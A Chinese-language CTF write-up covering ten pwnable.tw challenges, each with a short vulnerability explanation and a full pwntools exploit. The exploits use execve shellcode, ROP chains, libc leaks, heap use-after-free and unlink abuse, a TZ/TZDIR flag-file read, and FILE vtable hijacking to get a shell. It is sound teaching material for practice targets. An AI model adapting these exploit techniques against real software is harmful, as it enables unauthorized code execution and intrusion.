pwnable.tw 1~10题 writeup

网址:https://pwnable.tw

先放前十题的wp,后面的还没做🐥🐥🐥

start 100pts

简单的栈溢出,先leak栈地址,然后跳到栈上的shellcode去get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 0

if local:
cn = process('./start')
bin = ELF('./start')
else:
cn = remote('chall.pwnable.tw', 10000)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

cn.recv()
pay = 'a'*20+p32(0x08048087)
cn.send(pay)

data = u32(cn.recv()[:4])
stack = data+0x10
success('stack: '+hex(stack))

pay = 'a'*20+p32(stack+4)+"\x31\xc0\x50\x68\x2f\x2f\x73"\
"\x68\x68\x2f\x62\x69\x6e\x89"\
"\xe3\x89\xc1\x89\xc2\xb0\x0b"\
"\xcd\x80\x31\xc0\x40\xcd\x80"
cn.send(pay)

cn.interactive()

orw 100pts

写shellcode,利用open,read,write来get shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 0

if local:
cn = process('./orw')
bin = ELF('./orw')
else:
cn = remote('chall.pwnable.tw', 10001)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


cn.recv()

shellcode='''
push {};
sub dword ptr [esp],0x01010101;
push {};
push {};
push {};
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0x5;
int 0x80;
mov ebx,eax;
xor eax,eax;
mov al,0x3;
mov ecx,esp;
mov dl,0x30;
int 0x80;
mov al,0x4;
mov bl,1;
mov dl,0x30;
int 0x80;
'''.format(hex(u32('bh'+chr(1)+chr(1))),hex(u32('w/fl')),hex(u32('e/or')),hex(u32('/hom')))
#z('b*0x0804858A\nc')
cn.sendline(asm(shellcode))



cn.interactive()

calc 150pts

有一个逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pool *__cdecl eval(pool *pool, char op)
{
pool *result; // eax

if ( op == '+' )
{
pool->data[pool->idx - 2] += pool->data[pool->idx - 1];
}
else if ( op > '+' )
{
if ( op == '-' )
{
pool->data[pool->idx - 2] -= pool->data[pool->idx - 1];
}
else if ( op == '/' )
{
pool->data[pool->idx - 2] /= pool->data[pool->idx - 1];
}
}
else if ( op == '*' )
{
pool->data[pool->idx - 2] *= pool->data[pool->idx - 1];
}
result = pool;
--pool->idx;
return result;
}

构造例如+123+1能向idx写值,进而向任意下标处写任意值。

网上分析很多,就不说了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 0

if local:
cn = process('./calc')
bin = ELF('./calc')
else:
cn = remote('chall.pwnable.tw', 10100)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


from struct import pack

# Padding goes here
p = ''
p+=p32(0x804967a)
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec064) # @ .data + 4
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080ec060) # padding without overwrite ebx
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x08049a21) # int 0x80
for i in range(len(p)/4-1):
cn.sendline('+'+str(369+i)+'-'+str(u32(p[i*4:i*4+4]))+'+'+str(u32(p[i*4+4:i*4+8])))

cn.sendline('')

cn.interactive()

dubblesort 200pts

代码很少,主要就是写了一个冒泡排序.

保护很好,

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

首先是leak.

1
2
3
__printf_chk(1, "What your name :");
read(0, name, 0x40u); // 没有截断
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");// leak

read处没有0截断,导致可以leak,获得stack上残留的libc地址,从而得到libc基地址,通过rop调用system(“/bin/sh”)

然后是输入num的时候没有做限制,从而造成栈溢出.如果没有canary就好了,可惜是有的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__isoc99_scanf((int)"%u", (int)&n);
v3 = n;
if ( n ) // 没有限制num的数量,栈溢出
{
idx = array;
i = 0;
do
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf((int)"%u", (int)idx); // 没有检查返回值
++i;
v3 = n;
++idx;
}
while ( n > i );
}
sort((unsigned int *)array, v3);

canary没有方法预先知道,所以唯一绕过的方法就是让sort后的canary值呆在原地.

而且scanf没有检查返回值,所以我们通过输入非数字来让绕过覆盖,不必排序n个变量就要输入n个变量.

通过gdb观察,我凑了一组可能的解.(canary的值随机,所以不是100%成功

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./dubblesort')
bin = ELF('./dubblesort')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10101)
bin = ELF('./dubblesort')
libc = ELF('./libc_32.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


cn.recvuntil('name :')
name = '\x01'*25
cn.send(name)
cn.recvuntil(name)
if local:
libc.address = u32('\x00'+cn.recv(3))-0x1b2000
else:
libc.address = u32('\x00'+cn.recv(3))-0x1b0000
success('libc_base: '+hex(libc.address))

system = libc.symbols['system']
binsh = libc.search('/bin/sh\x00').next()
success(hex(system))
success(hex(binsh))

cn.recvuntil('sort :')
n = 47
cn.sendline(str(n))

for i in range(12):
cn.recv()
cn.sendline(str(0))

for i in range(7):
cn.sendline(str(system))
cn.sendline(str(binsh))

#z()

cn.sendline('a')#bypass scanf continue read num

cn.interactive()

hacknote 200pts

这题比较基础,free完没有清除指针.典型的堆题

首先构造堆块,我是leak unsorted bin的bk指针从而得到libc base.

然后是写heap上的函数指针,得shell.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./hacknote')
bin = ELF('./hacknote')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10102)
bin = ELF('./hacknote')
libc = ELF('./libc_32.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def add(size,con):
cn.sendline('1')
cn.recvuntil('Note size :')
cn.sendline(str(size))
cn.recvuntil('Content :')
cn.send(con)

def dele(idx):
cn.sendline('2')
cn.recvuntil("Index :")
cn.sendline(str(idx))

def show(idx):
cn.sendline('3')
cn.recvuntil("Index :")
cn.sendline(str(idx))


add(0x80,'a')#0
add(0x80,'a')#1
dele(0)

add(0x80,'X')#2
show(2)

cn.recvuntil('X')

cn.recv(3)
if local:
libc.address = u32(cn.recv(4))-48-0x1b2780
else:
libc.address = u32(cn.recv(4))-48-0x001B0780
success('libc_base: '+hex(libc.address))
system = libc.sym['system']
dele(0)
dele(1)

pay = p32(system)+';/bin/sh\x00'
add(0x90,pay)
#z('b*0x08048923\nc')

show(0)

cn.interactive()

Silver Bullet 200pts

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

看保护,大概是栈溢出了

全程只有一个洞,在strncat上,strncat会向cat后的str的最后添加一个’\x00’字节,从而覆盖了len.

struct大致如下:

1
2
3
4
{
char bullet_buf[0x30];
int len;
}

假设我们先写了47个字节,然后在powerup的时候写了1个字节,这时候buf的0x30字节都被填满了,末尾的\0就会覆盖len,新len就会变成1,再次powerup的时候,由于len和char间没有\0,strncat会连接到len的后面,从而改写len并rop.

1
2
3
4
5
6
7
printf("Give me your another description of bullet :");
read_input(buf, 48 - bullet[12]);
strncat((char *)bullet, buf, 48 - bullet[12]);// 尾部添\0,覆盖len
v2 = strlen(buf) + bullet[12]; // bullet[12]=0
printf("Your new power is : %u\n", v2);
bullet[12] = v2;
puts("Enjoy it !");

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./silver_bullet')
bin = ELF('./silver_bullet')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10103)
bin = ELF('./silver_bullet')
libc = ELF('./libc_32.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def create(con):
cn.sendline('1')
cn.recvuntil('of bullet :')
cn.send(con)

def powerup(con):
cn.sendline('2')
cn.recvuntil('of bullet :')
cn.send(con)

def beat():
cn.sendline('3')


p1ret=0x08048475

create('a'*(0x30-1))

powerup('b')#power 1
#z('b*0x080488FB\nc')
pay = '\xff'*3 + 'bbbb'
pay+=p32(bin.plt['puts'])+p32(p1ret)+p32(bin.got['puts'])
pay+=p32(bin.sym['main'])
powerup(pay)

beat()

cn.recvuntil('win !!\n')

libc.address = u32(cn.recv(4))-libc.sym['puts']
success('libc_base: '+hex(libc.address))
system = libc.sym['system']
binsh = libc.search('/bin/sh\x00').next()

#============one more time
create('a'*(0x30-1))

powerup('b')
pay = '\xff'*3 + 'bbbb'
pay+=p32(system)+p32(p1ret)+p32(binsh)
powerup(pay)

beat()

cn.interactive()

applestore 200pts

这题着实有让我学到新的知识,很赞!

首先是洞.

看checkout函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int checkout()
{
int total; // [esp+10h] [ebp-28h]
chunk p; // [esp+18h] [ebp-20h]
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
total = cart();
if ( total == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf((char **)&p, "%s", "iPhone 8");
p.price = 1;
insert(&p);
total = 0x1C07;
}
printf("Total: $%d\n", total);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}

但你买到指定价格时,他会送你一部iphone8,但是,其他的之前的商品都是通过malloc创建chunk的,而这个是分配在栈上的,而且是临时变量,也就是说,出了这个函数,在从handler进其他子函数时,这块内存就被其他数据覆盖了,看了一下,正好在我们能够输入的buf内.

因此我们有了改写iphone8结构体的能力,首先是name,覆盖后能做任意地址读.获取libc地址的话填GOT就行.关键是怎么getshell.

观察到delete函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl delete()
{
signed int i; // [esp+10h] [ebp-38h]
chunk *p; // [esp+14h] [ebp-34h]
int n; // [esp+18h] [ebp-30h]
chunk *FD; // [esp+1Ch] [ebp-2Ch]
chunk *BK; // [esp+20h] [ebp-28h]
char buf[22]; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
i = 1;
p = myCart.fd;
printf("Item Number> ");
fflush(stdout);
my_read(buf, 0x15u);
n = atoi(buf);
while ( p )
{
if ( i == n )
{
FD = p->fd;
BK = p->bk;
if ( BK )
BK->fd = FD;
if ( FD )
FD->bk = BK;
printf("Remove %d:%s from your shopping cart.\n", i, p->name);
return __readgsdword(0x14u) ^ v7;
}
++i;
p = p->fd;
}
return __readgsdword(0x14u) ^ v7;
}

有个unlink的过程,但FD和BK必须是两个可写的地址才行.

想了很久很久很久………………………………….
还是看了别人的wp,恍然大悟

交换GOT和ebp,从而子函数ret后回到main,ebp会到GOT上,在main中read,会读到GOT表上,可以改写atoi到system.

还有一个问题是如何获取stack的地址.
有两种方法:
1.利用前面的leak洞,从第一个chunk开始,不断leak chunk的fd,直到stack上的chunk的前一个的chunk的fd,即可得到stack
2.利用libc上的变量environ,写的是在栈上的环境变量的地址,leak即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./applestore')
bin = ELF('./applestore')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10104)
bin = ELF('./applestore')
libc = ELF('./libc_32.so.6')



def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def buy(idx):
cn.sendline('2')
cn.recvuntil('Device Number> ')
cn.sendline(str(idx))

def dele(idx):
cn.sendline('3')
cn.recvuntil('Item Number> ')
cn.sendline(str(idx))

def dele2(con):
cn.sendline('3')
cn.recvuntil('Item Number> ')
cn.sendline(con)

def show(con):
cn.sendline('4')
cn.recvuntil('(y/n) > ')
cn.sendline(con)

def checkout():
cn.sendline('5')
cn.recvuntil('(y/n) > ')
cn.sendline('y')

for i in range(20):
buy(2)
for i in range(6):
buy(1)

#z('b*0x08048B83\nb*0x08048ABE\nc')

checkout()
pay = 'y\x00'
pay+=p32(bin.got['puts'])+p32(1)+p32(0)+p32(0)
show(pay)

cn.recvuntil('27: ')
libc.address = u32(cn.recv(4))-libc.sym['puts']
envp = libc.sym['environ']
system = libc.sym['system']
success('libc_base: '+hex(libc.address))
#success('envp: '+hex(envp))

pay = 'y\x00'
pay+=p32(envp)+p32(1)+p32(0)+p32(0)
show(pay)

cn.recvuntil('27: ')
stack_envp = u32(cn.recv(4))
success('stack_envp: '+hex(stack_envp))

ebp = stack_envp-0x104
atoi_got = bin.got['atoi']
#z('b*0x08048A6F\nb*0x8048c0b\nc')
pay = '27'
pay+=p32(envp)+p32(1)+p32(ebp-0xc)+p32(atoi_got+0x20-2)
dele2(pay)


pay = '$0\x00\x00'+p32(system)
cn.sendline(pay)

cn.interactive()
'''
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199

7174 = 20*299+6*199

00000000 chunk struc ; (sizeof=0x10, mappedto_5)
00000000 ; XREF: .bss:myCart/r
00000000 ; checkout/r
00000000 name dd ?
00000004 price dd ? ; XREF: checkout+50/w
00000008 fd dd ? ; XREF: cart+61/r ; offset
0000000C bk dd ? ; offset
00000010 chunk ends
'''

criticalheap 200pts

这题很有难度,因为利用的点从来没见过.

保护:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

三个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
00000000 chunk_normal    struc ; (sizeof=0x48, mappedto_6)
00000000 name dq ? ; offset
00000008 inuse dq ?
00000010 type dq ?
00000018 content db 40 dup(?)
00000040 sig dq ?
00000048 chunk ends
00000048
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 chunk_time struc ; (sizeof=0x48, mappedto_8)
00000000 name dq ? ; offset
00000008 inuse dq ?
00000010 type dq ?
00000018 tm dq ? ; offset
00000020 year dd ?
00000024 mon dd ?
00000028 day dd ?
0000002C hour dd ?
00000030 min dd ?
00000034 sec dd ?
00000038 field_38 dd ?
0000003C field_3C dd ?
00000040 field_40 dq ?
00000048 chunk_time ends
00000048
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 chunk_system struc ; (sizeof=0x48, mappedto_9)
00000000 name dq ? ; offset
00000008 inuse dq ?
00000010 type dq ?
00000018 dir_name dq ? ; offset
00000020 detail dq ?
00000028 usr dq ?
00000030 _name dq ?
00000038 rand_num dd ?
0000003C field_3C dd ?
00000040 field_40 dq ?
00000048 chunk_system ends

先说说找到的洞吧.(虽然没有全用到)

  1. 程序开始时用srand(time(0))初始化了种子,但我们能够创建clock_heap,如果够快的话应该就能获取到时间,然后system_heap下的rand随机数就可以预测了.(没测试过)
  2. normal_heap的play下,有一个printf_chk的fmt洞,配合normal_heap的play下的change content就能在栈上留下信息,然后任意地址读(因为有chk,所以应该是无法用%n来任意地址写的)
  3. chunk_systemdetail在offset 0x20,chunk_normalcontent在offset 0x18的位置,content读取的时候没有截断,而detail是存在栈上的,因此可以leak heap.
  4. (重点)localtimesetenv配合就能将任意文件内容写到heap上.

下面主要介绍第四点:
以libc2.23的源码为例.

1
2
3
4
5
6
7
/* Return the `struct tm' representation of *T in local time.  */
struct tm *
localtime (const time_t *t)
{
return __tz_convert (t, 1, &_tmbuf);
}
libc_hidden_def (localtime)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* Return the `struct tm' representation of *TIMER in the local timezone.
Use local time if USE_LOCALTIME is nonzero, UTC otherwise. */
struct tm *
__tz_convert (const time_t *timer, int use_localtime, struct tm *tp)
{
long int leap_correction;
int leap_extra_secs;

if (timer == NULL)
{
__set_errno (EINVAL);
return NULL;
}

__libc_lock_lock (tzset_lock);

/* Update internal database according to current TZ setting.
POSIX.1 8.3.7.2 says that localtime_r is not required to set tzname.
This is a good idea since this allows at least a bit more parallelism. */
tzset_internal (tp == &_tmbuf && use_localtime, 1);

if (__use_tzfile)
__tzfile_compute (*timer, use_localtime, &leap_correction,
&leap_extra_secs, tp);

<--无关代码省略-->

return tp;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* Interpret the TZ envariable.  */
static void
internal_function
tzset_internal (int always, int explicit)
{
static int is_initialized;
const char *tz;

if (is_initialized && !always)
return;
is_initialized = 1;

/* Examine the TZ environment variable. */
tz = getenv ("TZ");//★注意此处,从env中读取TZ的值
if (tz == NULL && !explicit)
/* Use the site-wide default. This is a file name which means we
would not see changes to the file if we compare only the file
name for change. We want to notice file changes if tzset() has
been called explicitly. Leave TZ as NULL in this case. */
tz = TZDEFAULT;
if (tz && *tz == '\0')
/* User specified the empty string; use UTC explicitly. */
tz = "Universal";

/* A leading colon means "implementation defined syntax".
We ignore the colon and always use the same algorithm:
try a data file, and if none exists parse the 1003.1 syntax. */
if (tz && *tz == ':')
++tz;

/* Check whether the value changed since the last run. */
if (old_tz != NULL && tz != NULL && strcmp (tz, old_tz) == 0)
/* No change, simply return. */
return;

if (tz == NULL)
/* No user specification; use the site-wide default. */
tz = TZDEFAULT;

tz_rules[0].name = NULL;
tz_rules[1].name = NULL;

/* Save the value of `tz'. */
free (old_tz);
old_tz = tz ? __strdup (tz) : NULL;

/* Try to read a data file. */
__tzfile_read (tz, 0, NULL);//★带着TZ进入__tzfile_read函数
if (__use_tzfile)
return;

<--无关代码省略-->

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
void
__tzfile_read (const char *file, size_t extra, char **extrap)
{
static const char default_tzdir[] = TZDIR;
size_t num_isstd, num_isgmt;
FILE *f;
struct tzhead tzhead;
size_t chars;
size_t i;
size_t total_size;
size_t types_idx;
size_t leaps_idx;
int was_using_tzfile = __use_tzfile;
int trans_width = 4;
size_t tzspec_len;
char *new = NULL;

if (sizeof (time_t) != 4 && sizeof (time_t) != 8)
abort ();

__use_tzfile = 0;

if (file == NULL)
/* No user specification; use the site-wide default. */
file = TZDEFAULT;
else if (*file == '\0')
/* User specified the empty string; use UTC with no leap seconds. */
goto ret_free_transitions;
else
{
/* We must not allow to read an arbitrary file in a setuid
program. So we fail for any file which is not in the
directory hierachy starting at TZDIR
and which is not the system wide default TZDEFAULT. */
if (__libc_enable_secure
&& ((*file == '/'
&& memcmp (file, TZDEFAULT, sizeof TZDEFAULT)
&& memcmp (file, default_tzdir, sizeof (default_tzdir) - 1))
|| strstr (file, "../") != NULL))
/* This test is certainly a bit too restrictive but it should
catch all critical cases. */
goto ret_free_transitions;
}

if (*file != '/')
{
const char *tzdir;

tzdir = getenv ("TZDIR");//★从环境变量TZDIR中读取目录
if (tzdir == NULL || *tzdir == '\0')
tzdir = default_tzdir;
if (__asprintf (&new, "%s/%s", tzdir, file) == -1)
goto ret_free_transitions;
file = new;
}

/* If we were already using tzfile, check whether the file changed. */
struct stat64 st;
if (was_using_tzfile
&& stat64 (file, &st) == 0
&& tzfile_ino == st.st_ino && tzfile_dev == st.st_dev
&& tzfile_mtime == st.st_mtime)
goto done; /* Nothing to do. */

/* Note the file is opened with cancellation in the I/O functions
disabled and if available FD_CLOEXEC set. */
f = fopen (file, "rce");//★打开文件

<--不再追究具体细节-->

后面的细节我们就不管了,反正最后通过malloc的形式读取文件内容到heap上.

因此我们只要控制TZ和TZDIR就能将flag的内容读到heap上.
再通过leak heap和fmt 任意地址读来打印flag即可.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./critical_heap')
bin = ELF('./critical_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10500)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def create_normal_heap(name,content):
cn.sendline('1')
cn.recvuntil('Name of heap:')
cn.send(name)
cn.recvuntil('Your choice : ')
cn.sendline('1')
cn.recvuntil('Content of heap :')
cn.send(content)

def create_clock_heap(name):
cn.sendline('1')
cn.recvuntil('Name of heap:')
cn.send(name)
cn.recvuntil('Your choice : ')
cn.sendline('2')

def create_system_heap(name):
cn.sendline('1')
cn.recvuntil('Name of heap:')
cn.send(name)
cn.recvuntil('Your choice : ')
cn.sendline('3')

def show(idx):
cn.sendline('2')
cn.recvuntil('Index of heap :')
cn.sendline(str(idx))

def dele(idx):
cn.sendline('5')
cn.recvuntil('Index of heap :')
cn.sendline(str(idx))



create_system_heap('aaaa')#0

#play->set name
cn.sendline('4')
cn.recvuntil('Index of heap :')
cn.sendline('0')#idx
cn.recvuntil('Your choice : ')
cn.sendline('1')
cn.recvuntil('Give me a name for the system heap :')
cn.sendline('aaaa')
cn.recvuntil('Give me a value for this name :')
cn.sendline('aaaa')
#play->get value
cn.recvuntil('Your choice : ')
cn.sendline('4')
cn.recvuntil("What's name do you want to see :")
cn.sendline('aaaa')

cn.recvuntil('Your choice : ')
cn.sendline('5')

dele(0)

create_normal_heap('bbbb','B'*8)#0
show(0)

cn.recvuntil('B'*8)
if local:
heap_base = u32(cn.recv(4))-0x2e5
else:
heap_base = u32(cn.recv(4))-0x145
success('heap_base: '+hex(heap_base))


create_system_heap('cccc')#1
#play->set name
cn.sendline('4')
cn.recvuntil('Index of heap :')

cn.sendline('1')#idx
cn.recvuntil('Your choice : ')
cn.sendline('1')
cn.recvuntil('Give me a name for the system heap :')
cn.sendline('TZ')
cn.recvuntil('Give me a value for this name :')
cn.sendline('flag')
#play->set name
cn.recvuntil('Your choice : ')
cn.sendline('1')
cn.recvuntil('Give me a name for the system heap :')
cn.sendline('TZDIR')
cn.recvuntil('Give me a value for this name :')
if local:
cn.sendline('/home/veritas')
else:
cn.sendline('/home/critical_heap++')
cn.recvuntil('Your choice : ')
cn.sendline('5')

create_clock_heap('dddd')#2

if local:
flag_addr=heap_base + 0x8b0
else:
flag_addr=heap_base + 0x5e0

#play->change content
cn.sendline('4')
cn.recvuntil('Index of heap :')

cn.sendline('0')#idx
cn.recvuntil('Your choice : ')
cn.sendline('2')
cn.recvuntil('Content :')
success('flag_addr: '+hex(flag_addr))
cn.sendline('%c%c%c%c%c%c%c%c%c%c%c%c%sAAAAAA'+p64(flag_addr))
#play->show
cn.recvuntil('Your choice : ')
#z('b*0x000000000040194B\nc')
cn.sendline('1')
cn.recvuntil('Content :')
cn.interactive()

seethefile 250pts

比较基础的FILE题

首先是leak,由于可以读文件名不含flag的东西,那就直接读/proc/self/maps就行了.

不过由于read的长度限制,程序只读了一部分进来,不过已经足够知道libc的地址了.

然后是在exit的时候有个暴力的栈溢出给我们用.

1
2
3
4
5
6
7
8
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name); // overflow
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
return;

但是name后面能覆盖的,就只有fp指针而已了.指明了要用file做.

覆盖指针后一路下去顺便伪造一个FILE结构体在bss上即可.

bypass一些条件后fclose就会调用伪造的vtable上的close,我们改为system,从而getshell.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('/home/veritas/seethefile')
#bin = ELF('./seethefile')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
cn = remote('chall.pwnable.tw', 10200)
libc = ELF('./libc_32.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def open(name):
cn.recvuntil('Your choice :')
cn.sendline('1')
cn.recvuntil('see :')
cn.sendline(name)

def read():
cn.recvuntil('Your choice :')
cn.sendline('2')

def write():
cn.recvuntil('Your choice :')
cn.sendline('3')

def close():
cn.recvuntil('Your choice :')
cn.sendline('4')

def exit(con):
cn.recvuntil('Your choice :')
cn.sendline('5')
cn.recvuntil('Leave your name :')
cn.sendline(con)

open('/proc/self/maps')
read()
write()

cn.recvline()
cn.recvline()
cn.recvline()
heap = int(cn.recvline()[:8],16)
success('heap: '+hex(heap))
libc.address = int(cn.recvline()[:8],16)+0x1000
success('libc_base: '+hex(libc.address))
system = libc.sym['system']
close()

open('/proc/self/maps')
pay = '\x00'*32 + p32(0x0804B300)
pay+='\x00'*(0x80-4)
#0804B300
file = '\xff\xff\xff\xff;$0\x00'.ljust(0x48,'\x00')
file = file.ljust(0x94,'\x00')
pay+=file
pay+=p32(0x0804B300+0x98)
pay+=p32(system)*21#vtable
#z('dir /home/veritas/glibc/source/glibc-2.23/libio\nb*0x08048AE0\nb fclose\nc')
exit(pay)
cn.interactive()

Death Note 250pts

